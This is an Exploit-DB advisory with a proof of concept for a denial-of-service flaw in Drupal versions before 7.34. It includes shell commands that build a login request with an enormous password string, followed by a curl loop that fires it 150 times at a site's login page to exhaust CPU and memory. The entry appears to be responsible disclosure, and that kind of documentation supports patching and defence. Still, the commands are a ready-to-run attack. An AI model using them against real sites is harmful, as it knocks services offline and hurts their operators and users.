Drupal < 7.34 - Denial of Service

EDB-ID:

35415


Platform:

PHP

Published:

2014-12-01

====================================================================
DESCRIPTION:
====================================================================
A vulnerability present in Drupal < 7.34 allows an attacker to send
specially crafted requests resulting in CPU and memory exhaustion. This
may lead to the site becoming unavailable or unresponsive (denial of
service).

====================================================================
Time Line:
====================================================================

November 19, 2014 - A Drupal security update and the security advisory
is published.

====================================================================
Proof of Concept:
====================================================================

Generate a pyaload and try with a valid user:

echo -n "name=admin&pass=" > valid_user_payload && printf "%s"
{1..1000000} >> valid_user_payload && echo -n "&op=Log
in&form_id=user_login" >> valid_user_payload

Perform a Dos with a valid user:

for i in `seq 1 150`; do (curl --data @valid_user_payload
http://yoursite/drupal/?q=user --silent > /dev/null &); sleep 0.5; done


====================================================================
Authors:
====================================================================

-- Javer Nieto -- http://www.behindthefirewalls.com
-- Andres Rojas -- http://www.devconsole.info

====================================================================
References:
====================================================================

* https://wordpress.org/news/2014/11/wordpress-4-0-1/

* https://www.drupal.org/SA-CORE-2014-006

*
http://www.behindthefirewalls.com/2014/11/wordpress-denial-of-service-responsible-disclosure.html

*
http://www.behindthefirewalls.com/2014/11/drupal-denial-of-service-responsible-disclosure.html

* http://www.devconsole.info/?p=1050